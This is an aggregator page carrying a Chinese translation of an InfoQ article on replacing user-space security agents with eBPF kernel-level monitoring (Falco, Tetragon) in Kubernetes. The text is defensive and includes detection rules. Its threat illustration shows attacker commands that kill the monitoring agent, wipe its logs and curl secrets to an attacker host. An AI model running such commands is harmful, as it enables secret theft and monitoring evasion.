惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Forbes - Security
Forbes - Security
T
Troy Hunt's Blog
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
H
Hacker News: Front Page
TaoSecurity Blog
TaoSecurity Blog
PCI Perspectives
PCI Perspectives
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
V
Vulnerabilities – Threatpost
博客园 - 【当耐特】
V
Visual Studio Blog
N
News and Events Feed by Topic
Security Archives - TechRepublic
Security Archives - TechRepublic
V
V2EX
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
WordPress大学
WordPress大学
T
Tor Project blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
美团技术团队
P
Proofpoint News Feed
A
Arctic Wolf
C
CERT Recently Published Vulnerability Notes
Last Week in AI
Last Week in AI
T
Tenable Blog
K
Kaspersky official blog
爱范儿
爱范儿
S
Security @ Cisco Blogs
Spread Privacy
Spread Privacy
大猫的无限游戏
大猫的无限游戏
Jina AI
Jina AI
博客园 - 三生石上(FineUI控件)
T
Tailwind CSS Blog
S
SegmentFault 最新的问题
Security Latest
Security Latest
T
The Exploit Database - CXSecurity.com
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
www.infosecurity-magazine.com
www.infosecurity-magazine.com
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Project Zero
Project Zero
W
WeLiveSecurity
L
LINUX DO - 最新话题
Hacker News: Ask HN
Hacker News: Ask HN
阮一峰的网络日志
阮一峰的网络日志
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Cyber Attacks, Cyber Crime and Cyber Security
小众软件
小众软件
Webroot Blog
Webroot Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
Attack and Defense Labs
Attack and Defense Labs

InfoQ - 促进软件开发领域知识与创新的传播

Meta 收购 Manus 这事儿泡汤了 5.5万 Star 开源项目 Ghostty 被迫出走,GitHub 正在终结一代技术人的乌托邦 Slack 长时运行多智能体系统的上下文管理方案 从 T+1 到分钟级:金城银行基于 Apache Doris 构建高可靠、强一致的实时数据平台 谷歌云推出 Agents CLI,简化 AI 智能体开发全流程 Claude官方击穿高薪、高学历的安全防线!Anthropic点名10大高危职业,但有群人暂时稳了 亚马逊云科技终止 WorkMail 服务,并将 App Runner 转入维护模式 OPPO小布记忆:全模态碎片化内容的理解与智能整理实践|AICon上海 模力工场038周AI应用周榜:工具在消失,工作流在出现 Akamai CEO Tom Leighton:Agent 时代来临,云基础设施正从“中心化”转向“分布式边缘” 日均数百亿入库背后:从“人肉调度”到K8s弹性架构,度小满金融基于OceanBase重构入库架构实践 百度文库网盘发布GenFlow 4.0:月活用户超1亿,要把网盘变成全端AI工作台 Altman 投的 Agent 终端 Warp 开源了!斩获3.5万star 哪些客户需要拒, 敢让龙虾决定吗?_AI&大模型_InfoQ 中文站_InfoQ精选视频 从开发到生产:为什么越来越多的机器学习团队纷纷迁移到 Snowflake | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 探索多智能体工作流:LangGraph Snowflake Cortex AI | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 腾讯云分布式缓存数据库:AI Agent - 从提示词工程到 Harness 工程 | 腾讯云数据库 DBTalk_腾讯_凌敏_InfoQ精选视频 基于 Streamlit 为 CSV 数据构建分析智能体 | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 AI 智能体:告别文档缺漏 | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 构建 AI 驱动的数据管道:深度探讨 Snowflake Openflow 与非结构化数据 | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 云端太贵、本地不够聪明,英特尔押注“端云混合AI”:智能体PC会替人完成工作 不到10%的存储投入,可能拖垮90%的GPU投资!IBM把AI Agent塞进存储系统,算清企业最容易忽略的一笔账 Snowpark 上手实战 | BUILD 2025_大数据_王玮_InfoQ精选视频 ClickHouse + Langfuse,构建 Agent 可观测基石 腾讯云分布式缓存数据库:Cluster Proxy 共享连接架构深度解析 | 腾讯云数据库 DBTalk_腾讯_凌敏_InfoQ精选视频 AI 写代码太烧钱了:Copilot、Claude 一起涨价,不如把程序员请回来? 英特尔发布至强600系列工作站处理器与锐炫Pro B70 GPU,全新AI工作站来了 腾讯云分布式缓存数据库:从 Redis 到 Valkey - 开源社区如何快速创新 | 腾讯云数据库 DBTalk_腾讯_凌敏_InfoQ精选视频 印奇这次要“从0重做”智驾模型!首谈阶跃和千里双公司布局:中国AI商业闭环要靠车跑出来 从Cursor返聘归来,90后华裔女高管带Claude开启日更模式:token成本比工程师工资低多了! 从 Coding 到 Agent:QCon 北京 2026 全景复盘,优秀出品人 & 明星讲师名单揭晓 全链路支撑大模型国产化“Day 0适配”,商汤大装置构建全栈能力底座 凌晨,OpenAI 与亚马逊云科技史上最大联合发布来了 HashiCorp Vault 2.0 发布:引入新身份联邦机制,迈入 IBM 生命周期体系 Yelp 实现超 1,000 个 Cassandra 节点零停机升级 写了 17 年开源代码,我为什么认为 Coding Agents 堆功能是在瞎折腾? 基于 Apache Camel 编排智能体与多模态 AI 管道 面向智能体与人类用户的AI记忆系统:架构设计与核心场景实践|AICon上海 Anthropic 推出 Managed Agents,简化 AI 代理部署流程 阿里HappyHorse开启灰测,720P视频生成低至0.44元/秒 讯飞联合清华团队押注量子AI:不看营收、不设KPI,一群“无人区”科学家,抢夺下代AI算力入口 小米万亿模型全面开源:MIT 协议、1M 上下文,但还是打不过 DeepSeek Cortex Code 入门指南:面向数据工程师的实践路径 | 技术实践 openJiuwen社区首发Team Skills,定义Coordination Engineering新范式 用 Snowflake Cortex Agents 释放结构化数据的最大价值 | 技术实践 Grafana 利用 Kafka 对 Loki 进行了架构重构,并发布了一款命令行工具,旨在将可观测性引入编码代理 ClickHouse重构全文索引:对象存储上跑出高性能 Full-Text Search 可观测性和遥测技术如何提升软件工程实践 Dropbox 与 GitHub 合作,将单体库大小从 87GB 缩减至 20GB Agent 的下一站:基于长期记忆系统 EverOS 的自我演进|AICon上海 同一赛道,四种收费:Agent 控制层(Harness)开始分裂 Cloudflare Sandboxes 正式发布,为 AI 代理提供持久化隔离环境 Agent 的“记忆断片”困局,该怎么破?_AI&大模型_AICon 全球人工智能开发与应用大会_InfoQ精选视频 数据分析师如何快速建立在 AI 时代最值钱的能力:一份可落地的行动路线图 摩尔线程最新财报:研发占比超86%,万卡级大规模智算集群落地 当云区域失效:地缘动荡环境下的高可用重构 Slack 重构通知系统,设置参与度提升 5 倍 智能体工程的隐性技术债务 “我把所有模型都换成了DeepSeek V4”:月账单将降 90%,效果还更好 阿里云智能集团高级技术专家刘少伟已确认出席AICon上海站,并分享如何构建企业 Agent 的自动化行动架构 构建生产就绪的 tRPC API:Apollo Federation 的 TypeScript 替代方案 Anthropic推出面向Claude Code的基于智能体的代码审查功能 北京车展直击:斑马智能甩出车载Agent短剧,比亚迪率先落地,AI让智能座舱又热起来了 Snowflake 作为智能体运行时:从静态管道迈向自主数据系统 | 技术实践 Snowflake 上的本体体系:基于 Cortex Code 能力实现从架构到部署 | 技术实践 Cloudflare 公布 MCP 架构方案,应对企业面临的安全与治理风险 复杂的项目管理怎么做到「AI 友好」?飞书项目用「开放」给出答案 Snowflake Cortex Code 的规范驱动开发:将 SDLC 方法论引入 AI 辅助工作流 | 技术实践 Copilot 不让注册了:从“随便用”到“全面限”,agent 把原有订价模型顶穿了 当互联网用AI卷效率时,这家公司先问了一连串“能不能” Meta 开始记录员工每一次点击:AI 要接管工作,先监控会工作的人 Meta“Token榜”逼疯打工人,一夜烧掉公司几万刀!AI时代Token焦虑越来越离谱 智源FlagOS完成DeepSeek-V4-Flash在八款芯片Day0适配,实现三重技术突破 DeepSeek V4 重磅开源!首次打通华为Ascend,也没丢掉英伟达,百万上下文夺回国产模型话语权 李志飞的“新实验”:当超级个体撞上真实组织 GPT-5.5 登顶时刻,Anthropic 亲口承认 Claude 变笨了!网友群嘲:太敷衍 那些没空写的小需求,龙虾真能做吗?_AI&大模型_InfoQ 中文站_InfoQ精选视频 从 Pandas 到生产:使用任意 IDE 进行可扩展的 ML 数据管道与分布式处理 | BUILD 2025_AI&大模型_王玮_InfoQ精选视频 pnpm 11 候选版本发布,带来 ESM 分发、供应链默认设置以及新的存储格式 银行业PDF表格提取方案重构:基于Java的分层方案 GPT-5.5 赢了 Opus 4.7 和 Mythos?奥特曼晒黄仁勋内部信:英伟达全员用上 Codex! Cloudflare 推出 Think:一款面向 AI 代理的持久化运行时 1850亿美元天价支出、75%代码由AI生成!谷歌正式宣告:全面转向智能体工作流 xAI落后太多,马斯克“开大”重金求购Cursor,100亿美金“分手费”都敢签! Pulumi 新增对 Bun 运行时的全面支持 姚顺雨腾讯模型首秀!不卷参数只做 “听话打工人”,Hy3 preview登场 | 附实测 老板让你“忽悠”投资人,你敢发给龙虾吗?_AI&大模型_InfoQ 中文站_InfoQ精选视频 Gemini CLI 引入子代理机制,实现任务委派与并行代理工作流 清华系团队星工聚将完成数千万天使轮融资,轮式机器人拿下头部制造企业亿级大单 Pretext.js 绕过 DOM 布局重排,实现 120 FPS 的高级交互体验 靠“AI 云”爆红的 Vercel,栽在一个第三方AI工具手里!IPO前夕遭黑,200万美元赎金谈崩? 高能研讨会|端侧 AI 正在重写实时感知效率上限_AI&大模型_王玮_InfoQ精选视频 2050大会看这篇就够了|报名、交通食宿指引大全 Java 近期资讯:OpenJDK JEP、Jakarta EE 12、Spring Framework、Micrometer、Camel、JBang 金融智能的架构编排:基于 Snowflake Cortex Agents 实现结构化与非结构化数据统一分析 | 技术实践 在AK大神爆火的任务里,摸清国产AI真实水平 百灵Ling-2.6-flash 正式发布:高 Token 效率,以 1/10 消耗实现 SOTA 级 Agent 能力 当 PM 懂AI,当技术懂产品:AI 时代产品力的双向进化|PM x AI产品力领航者大会即将开幕 为 AI 智能体设计记忆机制:揭秘 LinkedIn 的认知记忆智能体 获奖名单公布|2026主题征文第一期|分享你最有价值的龙虾场景与核心 Skill_热门活动_InfoQ写作社区官方_InfoQ写作社区
内核级的真相:为什么eBPF正在取代基于用户空间的Agent成为安全可观测性的首选
作者:Niranjan Sharma张卫滨 · 2026-06-22 · via InfoQ - 促进软件开发领域知识与创新的传播

核心要点

  • 应用层日志要依赖被监控进程本身的配合。如果进程被攻陷的话,它可以杀掉自己的 watchdog、篡改日志,或者干脆不生成日志。你的安全可见性不应该建立在攻击者愿意被观察的前提上。

  • eBPF 把探针直接挂在 Linux 内核的系统调用接口上,因此即使攻击者已经在容器内部获得 root 权限,你依然能看到其行为。想要禁用 eBPF 探针,攻击者必须先逃逸到宿主机内核中,这要比执行kill -9难得多。

  • 把一整套基于用户空间的 Agent 替换为单个基于 eBPF 的 Agent 后,安全相关的 CPU 消耗通常可以下降 60%-80%,同时由于过滤发生在内核里,而不是发生在按 GB 计费的 SIEM 里,遥测数据量也会大幅减少。

  • 上线 eBPF 安全能力时应分阶段推进:先观察,再告警,最后才强制执行。如果直接跳到强制执行,你可能会在凌晨 3 点被报警叫醒,因为某条探测规则把支付服务给杀掉了。

  • Falco(CNCF 毕业项目)和 Tetragon(Cilium 子项目)如今都已具备生产级别的可用性,我们不需要自己编写内核代码就能采用该技术方案。

引言

去年,我在分析一次事故复盘时,看到生产环境的 Kubernetes 集群中的一个容器逃逸事件竟然完全没有被发现。安全团队调出仪表盘、翻遍日志,却什么有价值的东西都没找到。后来才发现,攻击者的第一步就是先杀掉日志 sidecar。此后发生的一切都彻底不可见了。

这次攻击本身并不算多高明。真正的问题在于监控体系天生存在的结构性弱点:Agent 和它本该监控的对象共享同一个用户空间。容器内一旦拿到 root 权限,攻击者就可以对 Agent 执行kill -9命令,对日志文件执行truncate,然后为所欲为。通过memfd_create()加载的无文件载荷根本不会触碰文件系统;进程注入则可以伪装在受信任的 PID 之后。整个体系里,日志层反而成了最脆弱的目标。

这次复盘让我开始认真研究 eBPF。无论进程是否恶意,它只要想打开文件、建立网络连接或派生子进程,都必须跨过系统调用这道边界。而 eBPF 允许你在内核内部直接对这条边界做插桩(instrument),容器层攻击者根本触碰不到它。

本文将介绍基于 eBPF 的安全监控背后的架构、如何在不破坏生产环境的前提下逐步落地、在大规模场景下的成本收益,以及目前最值得关注的工具。

基于用户空间的安全 Agent 的问题

与威胁处于同一权限层级

如今大多数 Kubernetes 安全监控都以 sidecar 容器或 DaemonSet 的形式运行,本质上就是与工作负载并排存在的用户空间进程内。

图 1:传统的基于 sidecar 的安全监控。Agent 与其监控的工作负载共享同一权限边界。(该图由作者原创)

这种架构有一个根本性的问题:安全 Agent 与攻击者处于同一层级。容器内一旦获得 root 权限,攻击者就可以:

$ kill -9 $(pgrep security-agent)$ truncate -s 0 /var/log/agent/*.log$ curl http://attacker.com/exfil -d @/etc/secrets

复制代码

由于 Agent 在关键行为发生前就已经被杀掉,所以根本不会触发任何告警。

CPU 成本

基于用户空间的 Agent 还会带来真实的成本。为了检查网络流量,它们通常要把连接代理到自身之上,这意味着每个数据包都要多次跨越用户空间和内核空间的边界。再加上日志序列化、解析和传输等开销,很容易就会让集群把一大块 CPU 预算消耗在安全开销上。我见过一些集群,监控栈消耗的资源甚至超过了它正在保护的业务服务。

攻击者很清楚这些弱点

有能力的对手会专门针对这些缝隙下手。memfd_create()允许代码完全在内存中执行而不接触文件系统,因此文件完整性监控什么都看不到;进程注入则可以伪装在 Agent 早已忽略的受信任二进制之后;日志规避利用的是恶意行为与日志发送之间的时间窗口,从而删除证据。熟练的攻击者首先会摧毁监控层,而现有架构恰恰让这件事变得非常容易。

eBPF 如何改变这种模式的

简要介绍

eBPF 允许你在 Linux 内核内部运行受沙箱保护的程序,而无需编写内核模块。它最初只是一个包过滤机制(也就是“Berkeley Packet Filter”),而现代扩展版本已经演化为通用的内核插桩框架。对安全领域来说,最重要的有三点:

  • 内置的验证器(verifier)会在加载时对每一个 eBPF 程序做静态分析,证明它不会导致内核崩溃、不会访问未授权的内存,也不会陷入无限循环。如果验证失败,程序根本不会运行。它没有运行时成本,也没有内核严重错误(kernel panic)的风险。

  • eBPF 程序运行在内核上下文中,能够直接访问内核的数据结构。没有用户空间/内核空间的上下文切换,也没有额外的代理开销。

  • 你可以把探针挂到成千上万的内核函数、系统调用、网络事件和跟踪点之上。

验证器值得单独介绍一下

在内核中运行自定义代码会让很多人感到紧张,对于内核模块来说,这种紧张是完全合理的。一个有缺陷的模块足以让整台机器出现严重错误。eBPF 的验证器则彻底消除了这一类失败模式。它会遍历字节码所有可能的执行路径,检查终止性保证、内存边界、函数调用限制以及栈深度(上限为 512 字节)。所有这些都会静态完成,而且都发生在程序真正加载之前。

验证器如此严格,完全是有意为之。它会拒绝一些事实上安全、但它无法证明其安全性的复杂程序。做过 eBPF 的人几乎都踩过这个坑:你不得不重构完全合法的代码,只为让验证器满意。但也正是这种保守性,才使得 Meta、谷歌和 Netflix 能够在大规模生产内核中运行 eBPF。

探针挂载在何处

在安全性相关的场景中,eBPF 程序会挂接在系统调用接口上,也就是每个进程执行特权操作时都必须跨越的那道边界。

图 2:eBPF 探针挂在系统调用接口上。每一个进程,包括攻击者的进程,都必须跨越这道边界。(该图由作者原创)

当任意进程调用connect()execve()open()时,探针就会捕获系统调用参数、进程/线程 ID、容器 ID、Kubernetes Pod 元数据、用户 ID、capabilities 以及父进程链。由于探针运行在内核上下文中,攻击者即便在容器内获得 root 权限,也必须先逃逸到宿主机内核,才有机会篡改它。与直接杀掉一个用户空间的进程相比,这完全是另一类问题。

成本收益

根据已经将多个用户空间 Agent 安全栈替换为单个基于 eBPF Agent 的组织的报告,它们的安全工作负载CPU消耗降低了60%-80%

图 3:用户空间安全 Agent 与 eBPF 内核级监控的开销对比。(该图由作者原创)

这背后还有一笔数据量的账。用户空间 Agent 会把每一行日志、每一个连接事件、每一次文件访问全都发到中心平台,而其中绝大多数内容会在摄取后被直接丢弃。使用 eBPF 后,过滤发生在内核中,因此只有真正重要的事件才会离开节点。SIEM 摄取成本的下降幅度会随工作负载不同而不同,但对大多数场景来说都相当可观。

内核兼容性

对生产安全最关键的能力,分别在 4.15 到 5.7 之间的多个内核版本中落地:

大多数生产级 Kubernetes 发行版都已经标配 5.4 以上的内核,因此内核的支持很少会成为真正的障碍。当然,你还是应该检查自己节点的具体情况,但在较新的发行版上,我几乎没遇到过真正的内核版本问题。

如何在不影响生产环境的前提下上线

不要一开始就直接强制推行。这样通常会造成杀死生产进程的误报,以及一份非常尴尬的事故复盘。

图 4:分阶段上线:先观察,再告警,最后强制执行。推进依据应该是信心程度,而不是日历表。(该图由作者原创)

阶段 1:先观察和学习

先以被动模式把 eBPF Agent(Falco 或 Tetragon)作为 DaemonSet 进行部署。Agent 会观察所有的系统调用,但不会阻断任何东西。你需要主机级访问权限以及内核调试挂载:

spec:  hostPID: true  hostNetwork: true  containers:  - name: agent    image: falcosecurity/falco-no-driver:latest    securityContext:      privileged: true    volumeMounts:    - name: bpf-fs      mountPath: /sys/fs/bpf    - name: kernel-debug      mountPath: /sys/kernel/debug      readOnly: true

复制代码

Falco 的Helm chart已经处理好了完整的 DaemonSet 配置。第一次部署时,建议直接从这里开始。

在这个阶段,你要做的是建立基线:每个服务会运行哪些二进制文件、会建立哪些网络连接、会触碰哪些文件、正常的进程树长什么样。事件流应先写入廉价的归档存储,而不是你的实时分析平台。只有当这些基线在几轮部署周期后都趋于稳定,才能进入下一阶段。

阶段 2:针对异常发出告警

接下来,根据这些基线编写检测规则。这是行为检测,而不是签名匹配。你要寻找的是偏离已知正常模式的行为。

下面是一条用于检测支付服务中意外进程执行的 Falco 规则:

- rule: Unexpected Process in Payment Service  desc: Detect execution of binaries not in the approved list  condition: >    spawned_process and    container.name startswith "payment-" and    not proc.name in (java, jcmd, jstat)  output: >    Unexpected process executed in payment container    (user=%user.name container=%container.name     process=%proc.name cmdline=%proc.cmdline     parent=%proc.pname)  priority: WARNING  tags: [container, process, payment]

复制代码

还有一条用于检测元数据服务访问的规则,这种行为几乎就意味着已经出现问题了:

- rule: Container Accessing Cloud Metadata Service  desc: Detect attempts to access instance metadata  condition: >    outbound and    fd.sip = "169.254.169.254" and    container.id != host  output: >    Container attempted metadata service access    (container=%container.name pod=%k8s.pod.name     namespace=%k8s.ns.name dest=%fd.sip)  priority: CRITICAL  tags: [network, cloud, metadata]

复制代码

在这个阶段一定要真正花功夫去调优。审查每一条告警,理解其中的误报,消除掉那些已知安全的模式。只有当告警量可控,并且你已经使用已知攻击场景验证过这些规则之后,才应进入强制执行阶段。

阶段 3:强制执行

当你对检测规则已经有足够高的信心后,就可以开启主动阻断了。Tetragon 可以借助bpf_send_signal()在违规系统调用完成前向进程发送 SIGKILL。响应时间是微秒级,而不是传统事件响应流程中的分钟级甚至小时级。

一个典型的强制执行场景是,容器调用connect()访问 169.254.169.254;eBPF 探针截获该调用;策略评估认定该调用违规;SIGKILL 立即发出;系统调用根本没有完成;同时告警信息也会发出。元数据服务从未真正被访问到。

这一阶段极其依赖纪律性。一次误报如果杀掉了合法进程,那就是生产级别的故障。观察与告警阶段存在的意义,就是为了建立足够高的置信度,确保强制执行不会反过来成为新的风险。

工具选择:Falco、Tetragon 与厂商方案

对大多数团队而言,Falco会是一个很好的起点。它是 CNCF 毕业项目,社区庞大、开发活跃,也经历了多年的生产环境考验。它通过 eBPF 挂接系统调用接口,再基于 YAML 规则引擎评估事件。默认规则集参照了 MITRE ATT&CK,涵盖反向 Shell、容器逃逸、敏感路径访问等场景。

我认为 Falco 最有价值的一点,是它能为事件附加 Kubernetes 的上下文。比如,“进程 X 调用了connect()访问 169.254.169.254”和“prod命名空间里的payment-api Pod 试图访问云元数据服务”之间的差别,意味着你是要花 15 分钟去做交叉排查,还是能立刻采取行动。

如果你需要主动强制执行,也就是在恶意系统调用完成前就杀掉进程,那么应重点看一下Tetragon。它是 Cilium 的子项目,会在内核中同步应用策略。其代价是社区规模更小,并且与 Cilium 栈绑定更紧。Sysdig、Datadog 和 Wiz 等商业厂商也已经基于 eBPF 重构了自己的 Agent。如果你本来就在使用其中某一家,那么在引入新工具前,不妨先看看你当前方案已经具备了哪些 eBPF 能力。

保护 eBPF 部署本身

eBPF 程序运行在内核中并具有很高的权限,因此绝不能对它的部署安全掉以轻心。加载程序需要CAP_BPF(在 5.8 之前的内核上则需要CAP_SYS_ADMIN)。如果必须的话,最开始可以先使用特权容器(privileged container),但随后应尽快收紧到最小的能力集合,通常是CAP_BPFCAP_PERFMONCAP_SYS_RESOURCE。除此之外,还应该做到:

  • 锁定哪些 service account 可以部署高权限容器

  • 使用 admission controller(比如,OPA Gatekeeper、Kyverno)把高权限工作负载限制在安全命名空间中

  • 监控该命名空间中的未授权变更

  • 将 Agent 镜像固定到已验证的摘要值(digest),而不是可变的标签(tag)

验证器能够负责的是字节码安全,但是运维安全则完全取决于你自己。

结论

应用层日志并不会消失。我们仍然需要它来调试业务逻辑、追踪请求在服务网格中的流转。但在安全场景下,攻击者的第一步往往就是先禁用插桩,因此你需要把监控部署在他们不容易触达的层面。

eBPF 正是这样一种能力。它能提供独立于应用行为之外持续存在的系统调用级可见性,其插桩位于内核之中,不会被容器级攻陷轻易触碰,它的开销也只是基于用户空间的 Agent 方案的一小部分。

如果你想亲自验证的话,可以在一个预发布(staging)集群里,以纯观察模式部署 Falco,然后花 30 分钟看看它捕获到的事件。你当前监控系统所展示的内容,与 eBPF 在系统调用层揭示出来的内容之间的差距,会比我在这里写下的任何论证都更有说服力。而如果你已经在生产环境中运行基于 eBPF 的安全能力,也欢迎分享你的经验。这个领域真正来自一线运维的知识,还远远不够多。

查看英文原文:Kernel-Level Ground Truth: Why eBPF is Replacing User-Space Agents for Security Observability